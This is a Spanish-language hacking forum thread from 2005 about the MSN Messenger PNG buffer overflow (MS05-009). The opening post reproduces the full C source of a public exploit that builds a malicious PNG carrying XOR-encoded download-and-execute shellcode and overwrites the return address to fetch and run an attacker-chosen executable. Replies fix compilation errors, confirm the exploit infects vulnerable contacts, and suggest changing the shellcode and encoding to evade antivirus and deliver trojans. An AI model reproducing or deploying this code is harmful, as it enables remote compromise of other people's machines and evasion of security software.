elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 19:39  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit  (Leído 9,335 veces)
loredo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« en: 10 Febrero 2005, 03:39 »

Acabo de recibir esto del bulletin de k-otik. Tiene pinta de ser muy interesante...  ;D

Código:
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit (MS05-009)
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Usage:exploit <OutputPath> <Url>
*
*/

/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service
packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/

/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>


#ifdef __BORLANDC__
#include <mem.h>
#endif

#define NOP 0x90

char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}


void main(int argc, char *argv[])
{

if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow
Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies
(www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png
http://www.atmacasoft.com/exp/msg.exe\n");

return;
}


web = argv[2];


if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);

/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);

weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");

//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);


for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);

/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);

for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);

printf("Vulnarable png file %s has been generated!\n",argv[1]);

fclose(di);
}

Así de primeras no he conseguido compilarlo con VC++6, pero con unas modificaciones he conseguido que cree un fichero .png que al abrirlo con el msn messenger  para ponerlo como foto adjunta peta, y si se lo mandas a alguien, el que lo recibe también peta..(su messenger, claro)

Ahora estoy con el olly a ver si consigo acceder a la instrucción donde recoge el EIP para poder asignarle uno que funcione o a ver cual es el problema..

Un saludo^^
En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
loredo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #1 en: 10 Febrero 2005, 03:41 »

El error que me da exactamente si trato de compilar el exploit tal cual es en la linea:

Código:
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];

Citar
error C2065: 'new' : undeclared identifier

He tenido que definir directamente un char newshellcode[275] adecuado a los argumentos que meto en el exe para lograr compilarlo..

A ver si alguien que sepa del tema sabe solucionar o explicarme por qué pasa eso..

(También me ha ocurrido en GCC y MINGW)

Aquí podeis encontrar un .png mal construido que te abre una ventanita..

http://www.coresecurity.com/corelabs/advisories/msn-vulncheck.zip
« Última modificación: 10 Febrero 2005, 04:33 por LoReDo » En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #2 en: 10 Febrero 2005, 06:53 »

Wenas Loredo!

Yo tambien estoy con este tema en el otro foro (HxC).
Todavia no se como solucionar el codigo tampoco totalmente, sigo en ello...

Solo queria decir que he probado el png de prueba en 2 pcs PARCHEADOS y a pesar de que hay algunos cambios de conducta SIGUE EJECUTANDOSE EL CODIGO  :o

Esto va a ser sonado...


Salu2

En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #3 en: 10 Febrero 2005, 09:49 »

Amos a ver si aprendemos algo de C++, que "new" en C++ es como "malloc" en C.

Yo lo he cambiado, y compila perfectamente, y crea el archivo vuln.png.

Pero no funciona, no "descarga" lo que le pedido, dandome errores de registros de 16bits ??? aunque si peta completamente el MSN.

Salu2
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #4 en: 10 Febrero 2005, 10:01 »

Bueno, aki va el advisory super completo de Core Security

http://www.coresecurity.com/common/showdoc.php?idx=421&idxseccion=10

Salu2
« Última modificación: 10 Febrero 2005, 10:27 por Rojodos » En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #5 en: 10 Febrero 2005, 10:26 »

Creia que el exploit no funcionaba bien, pero no, funciona a la perfeccion, cambiandole lo de new por malloc.

Te descarga el archivo exe que le digas, y lo ejecuta.

Salu2
En línea

ziz0u
ZiZ0u [SPAIN]


Desconectado Desconectado

Mensajes: 351


Brillante jugador, mejor persona.


Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #6 en: 10 Febrero 2005, 22:47 »

Buenas!!

Estoy empezando con los exploits, he leido un poco y he empezado a practicar compilando códigos sencillos de C en el gcc de mi Linux. Me fijé en este exploit porque es nuevo y parece muy interesante, y quise compilarlo. Al principio me dieron errores tontos y los solucioné bien (o eso creo) y luego me dio el error de "new" ya comentado arriba. Simplemente sustituí, como también se indica arriba, "new" por "malloc", y me quedó así la línea:

Código:
newshellcode = malloc char[sizeof(shellcode)+strlen(web)+1];

Al compilar, además de algún que otro aviso sobre el puntero, me da este error:

Código:
error: error de decodificación before "char"

Pido disculpas si es una duda estúpida, pero acabo de empezar con esto y no tengo mucha idea...

Gracias!!
En línea

chuz0

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #7 en: 11 Febrero 2005, 04:58 »

Lo he compilado con el Miracle C Workbench y va perfectamente... Solo hay un problema... el Norton AV me detecta como un troyano  el *.png nada mas crearlo...
Creia que este era un exploit nuevo todavia indetectable...

Saludos,

Chuz0.
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #8 en: 11 Febrero 2005, 05:04 »

Normal, el exploit es publico, y ademas anunciado a bombo y platillo por todo el planeta. Y los AVs se han enterado y han tomado nota.

De todas formas, es cuestion de cambiar la forma de crear el vuln.png, la shellcode, la encriptacion XOR,etc... seguro que se puede sacar un vuln.png completamente "indetectable"

Salu2
En línea

- xXx -


Desconectado Desconectado

Mensajes: 495


[::wormz::]


Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #9 en: 11 Febrero 2005, 08:57 »

Lo estuve probando con la versión del msn 7 y no funciona, el png no hace nada y no se si es por el msn 7 o por el sp2, aún tengo que probarlo para la versión que ha sacado esta semana messenger la 6.2.205 que creo que soluciona eso, si alguien sabe algo si pudiera decirmelo :S
En línea
ziz0u
ZiZ0u [SPAIN]


Desconectado Desconectado

Mensajes: 351


Brillante jugador, mejor persona.


Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #10 en: 11 Febrero 2005, 09:03 »

Se supone que funciona con todas las versiones del messenger menos la 7, a mi me ha funcionado perfectamente en la 6.2  :D (el primer exploit que uso :D :D).
En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #11 en: 11 Febrero 2005, 12:07 »

Pufffffff, hago lo que hago no logro compilarlo con el gcc de linux, alguien que suba el ejecutable si puede ser.

Saludos.
En línea

Nakar

Desconectado Desconectado

Mensajes: 82


Ver Perfil
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #12 en: 11 Febrero 2005, 18:59 »

Salu2, he conseguido por fin compilar el exploit correctamente
le ejecuto y me crea *.png que en teoría lo ha unido con otro archivo *.exe de una url que le proporcionado para crear el archivo *.png.
¿qué sse supone k tiene k hacer cuando tu lo pones como avatar en tu msn , ejecutarsele a la persona con kien estes hablando y vea tu avatar?
Porque yo lo he intentado y lo unico k ocurre es k al ponerlo como avatar se me peta el msn ?¿?¿
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #13 en: 11 Febrero 2005, 19:12 »

Yo lo he probado y funciona perfectamente.

El funcionamiento del exploit es simple, crea un archivo PNG que peta tu MSN, redirige la ejecucion del mismo (a traves de la shellcode) hasta que se DESCARGA y EJECUTA el exe que le digas al crear el PNG.

La direccion que le metemos al crear el PNG, se xorea, y se añade a la shellcode.

Yo lo he probado en mi MSN, y me descarga y ejecuta perfectamente lo que puse como URL. Solo tienes que volver a arrancar el MSN, con una version que no tenga el fallo (MSN 7 beta creo), y entrar en una conversacion con alguien que si tenga un MSN vulnerable. Se le descargara el archivo y lo ejecutara.

El temita es brutal por el tema de troyanos y demas...

Salu2
En línea

- xXx -


Desconectado Desconectado

Mensajes: 495


[::wormz::]


Ver Perfil WWW
Re: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
« Respuesta #14 en: 11 Febrero 2005, 21:00 »

Según he leido, la imagen si se pone en un .mp3, como dato adjunto (Eso que sale x ejemplo en el windows media player como caratula del disco) pues si se pone como imagen asociada al archivo la función es la misma  ::) y el kasperky no anuncia nada sobre la imagen, así que parece ser vulnerable, y el firewall de windows sp1 y sp2 no parece advertir nada.... Que mal rollito da lo que podrian hacer con esto :-X
En línea
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines